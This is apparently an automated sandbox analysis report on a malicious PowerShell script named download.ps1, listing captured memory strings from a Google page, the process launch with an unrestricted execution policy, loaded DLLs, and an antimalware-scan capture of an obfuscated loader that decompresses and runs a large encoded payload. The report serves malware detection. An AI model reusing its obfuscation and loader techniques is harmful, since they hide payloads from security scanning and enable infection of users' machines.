nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){var a,b="1";if(document&&document.getElementById)if(typeof XMLHttpRequest!="undefined")b="2";else if(typeof ActiveXObject!="undefined"){var c,d,e=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"];for(c=0;d=e[c++];)try{new ActiveXObject(d),b="2"}catch(h){}}a=b;if(a=="2"&&location.search.indexOf("&gbv=2")==-1){var f=google.gbvu,g=document.getElementById("gbv");g&&(g.value=a);f&&window.setTimeout(function(){location.href=f},0)};}).call(this);</script></form><div style="font-size:83%;min-height:3.5em"><br></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><p style="font-size:8pt;color:#70757a">&copy; 2025 - <a href="/intl/en/policies/privacy/">Privacy</a> - <a href="/intl/en/policies/terms/">Terms</a></p></span></center><script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){window.google.cdo={height:757,width:1440};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b){var c=window.document,d=c.compatMode=="CSS1Compat"?c.documentElement:c.body;a=d.clientWidth;b=d.clientHeight}if(a&&b&&(a!=google.cdo.width||b!=google.cdo.height)){var e=google,f=e.log,g="/client_204?&atyp=i&biw="+a+"&bih="+b+"&ei="+google.kEI,h="",k=window.google&&window.google.kOPI||null;k&&(h+="&opi="+k);f.call(e,"","",g+h)};}).call(this);})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){google.xjs={basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfg',basecss:'/xjs/_/ss/k\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsAAAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJw/rs\x3dACT90oF1BL3ZlaLO9UErlKWVa-MwNL-zZw',basejs:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA',excm:[]};})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){var u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,d';var st=1;var amd=1000;var mmd=0;var pod=true;
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basejs:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qAX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: else top.location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ3gAaf8dI2fAsaCSnwAkw1fr6y6wA3UK" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&amp;authuser=0">Advanced search</a></td></tr></table><input id="gbv" name="gbv" type="hidden" value="1"><script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){var a,b="1";if(document&&document.getElementById)if(typeof XMLHttpRequest!="undefined")b="2";else if(typeof ActiveXObject!="undefined"){var c,d,e=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"];for(c=0;d=e[c++];)try{new ActiveXObject(d),b="2"}catch(h){}}a=b;if(a=="2"&&location.search.indexOf("&gbv=2")==-1){var f=google.gbvu,g=document.getElementById("gbv");g&&(g.value=a);f&&window.setTimeout(function(){location.href=f},0)};}).call(this);</script></form><div style="font-size:83%;min-height:3.5em"><br></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><p style="font-size:8pt;color:#70757a">&copy; 2025 - <a href="/intl/en/policies/privacy/">Privacy</a> - <a href="/intl/en/policies/terms/">Terms</a></p></span></center><script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){window.google.cdo={height:757,width:1440};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b){var c=window.document,d=c.compatMode=="CSS1Compat"?c.documentElement:c.body;a=d.clientWidth;b=d.clientHeight}if(a&&b&&(a!=google.cdo.width||b!=google.cdo.height)){var e=google,f=e.log,g="/client_204?&atyp=i&biw="+a+"&bih="+b+"&ei="+google.kEI,h="",k=window.google&&window.google.kOPI||null;k&&(h+="&opi="+k);f.call(e,"","",g+h)};}).call(this);})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){google.xjs={basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfg',basecss:'/xjs/_/ss/k\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsAAAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJw/rs\x3dACT90oF1BL3ZlaLO9UErlKWVa-MwNL-zZw',basejs:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAA
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA',excm:[]};})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){var u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,d';var st=1;var amd=1000;var mmd=0;var pod=true;
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: u=/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,dX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfg'
Source: classification engineClassification label: mal76.evad.winPS1@2/7@2/2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7284:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tigawooi.gqd.ps1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress)) $60c58n7hps3mley.(([char[]]@((9985-9918),(-7333+(10503484/1411)),(3687-(119+(2556+(-856+1756)))),(-4404+4525),(-7300+(6180408/837)),(1122210/10110)) -join ''))( $binh2xzcd4y7gtj ) $60c58n7hps3mley.((-join (@((1119-(8694780/(10007-(457+1285)))),(-3132+(11712-8472)),(1224-1113),(-3673+3788),(391981/(-2141+(6481-459))))| ForEach-Object { [char]$_ })))()$evxq7k3i9dhlg65.((-join (@((302170/4510),(299484/2773),(3270-(3856-(7370-6673))),(7031-6916),(2018-(-1062+2979)))| ForEach-Object { [char]$_ })))()[byte[]] $wgyrfxl0dhsimv7 = $binh2xzcd4y7gtj.(([char[]]@((-8191+8275),(-3674+(4506-(378+343))),(-736+801),(9066-8952),(1116402/9793),(5284-5187),(7704-(56652593/7471))) -join ''))() $01pumg93kianejy=$wgyrfxl0dhsimv7 return $01pumg93kianejy}[System.Text.Encoding]::ascii.((-join (@((-878+949),(-5009+(6523-(7649982/5414))),(633-517),(437244/5268),(842392/7262),(-6318+(-732+(4110+(-6074+9128)))),(5460-5355),(584870/(15096-(14304-4525))),(1240-(-478+(-3688+5303))))| ForEach-Object { [char]$_ })))((pw2lb40ectk3fa95dvs7oyh8zig "fb9hcms4dDFhZ4L3O7t0pRr/63IluNYuAthSm1/DmLptRTbwWnvY85MZe7d1Fy7mxowhscp8HsiLnsrHmKaqv39bMINQrKq3lcBQJ5Sd3svuDGi03ePWC5fUutyiOMqYltbudbSHDEWbg6w3tfs27LRFBciVvuTXrao37NSEyEiYmerr1au3SxTInu/IhEjwPZqWi7Yn6gycifKJm/E2XARnykkbEdSU4x+0SpXNjZqC8NAjDMiMgInZp17bmd3HxdNWbJTNDP1MsS/afm5TiYzbLno66VyGzxmuTBhgPzyYi7v7eEtYuD1bas3xgd9NDJ2kuiQb4guGsWygnmAqe5ds0owzAWrjz/n/qR1kj6kcXrlSKd41H63mut2XxNHY7Kad5Df77rvbjIvSlOTTDFA6I6sIk4KiXMHProAkFQqje0017YXkyp/h3x7dsIbaNLNX8maAj9GTomjTnK4SbEr1zsQ8Er7wmE512xntJLK739F1kWYroIAbo+WfEVtf9aYurDN9wvqyqUWefoGcJtwuL4RSoK2PcG+/gDhR5VSgdy0zMNbXAPb5G4mq0gCBNdVlCLJKw8w/DFwJy4kkLwvsrvPzjVua9KoCE3xbFrCi/p3a0MVIAwdiPtGJFX0F+0UDYZ/3FUyRi9a/odsWDR3MmwmQZIChhCgKvQqxwcuv3qLUru2dI1r8RGZz+YMuLLsS/wrMzKd1xMkQ9O4/RC5Zp0VWoCUmOSYuFLCrnvkczI4gWb9dS+CUS59JExHp5Yl7MIoEJ4bYTPrO4QPOwr7e42sOK1TFq8oPvlvuRXOUdIGBj7Ei9lJUL/pNXlvRORzHniZj/pyM8PRz/WmViYaDe+dauE4YHMObgpj5FtOOjMgfmqHkiInihy56OekREogXC5raiN2CSJmRofs+oIaI6k4a16ASX8gVj/kkj9CbFdwchsxvhbhr21iE93RCCTrFhwcFalxiYIBYERKN/Eau5bjD83X1wSXt07J5WXaT4p/gI0VVB/ob5QVICb8Gv6GXHIjLdqYPPlCh//rM/PvV8SkCrfNFG6IgLdkZkcSt5W9iU6B9BTFsWoQXl8vG5dTC/tqW6WU5L+nd9tYw2xRWat85++iSlNKIpWTWs8y+6KjT1RVUJmmscCvGc9qlzl2M0syufZkptX+Vn73iqZ2tNrV3iG02rvQoJtWvrfJf7NqxWav3KfJJXPXD0Yd90PMr3EV/UcHH4s5SYjswe7c7heDTNnwXhUoWZ0HnC0OKttLBwbWEDVRBzParhoQs1KZduPTqz+NBkilKG3ihPtUd1bR8A5T6/IJRFZn1I0uxRrM3EWIfta3nQV/vnF8NJfpIUuGNu5i2+XPNUr+24G0JIc7OvkRIkPxEFzo6Btdji2+ykXqb7DMYTVIsg2UdPi7tbev+YQr8Lm+L1Ff+TAoD4qNPtgLaKEIz2OXok/NPpxDe1dohsg0PNrGw8wrN+VoP9KICzAqkkFfj6jpnahPTsWZofyE+/WO2cRo698xHcT/fOtX7EYRxEww+LrOUZAiPj0E4DjG11Nn8BlzAWp09MhLRNfBaEBhvZXfxtkxunnwF/zjaj+Gb4WnSv7vz8JRWMxLCSsXUIQk/DuGwwmUxncbIaqd33FYugbNwEZJoaRPdyxnmxh+2iVzhmX9sf4wlaYCUAlgUZWM1l8n1y2nkMmQOKL7QTUVrm2KIVSRt6wVqDTHhPDAi//nmP2xnetrW2S7YQRHJvhFrYBZplbFmovkwfY1sHJgSKsVUFW4/qSFL5/DFKWpRAO386O3wnRQzrMPLaQAxRbm/iG2tYVNEFgso2ClX9e3Q7Jco0vR1gLOEco+qfalBwk3wI4YgKqhOgoVvTOoKGBtxwgGXePowlfz5bojgJDoC6C7XYXvCvoGwOEdH
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Source: download.ps1Virustotal: Detection: 8%
Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb1-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FD87000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FD87000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbpdblib.pdb:} source: powershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softy.pdbce: source: powershell.exe, 00000000.00000002.1399171005.000001B63FC6F000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC69D2A5 pushad ; iretd 0_2_00007FFAAC69D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7B4FAB push ecx; ret 0_2_00007FFAAC7B4FAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7B6A55 pushad ; iretd 0_2_00007FFAAC7B6B21

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
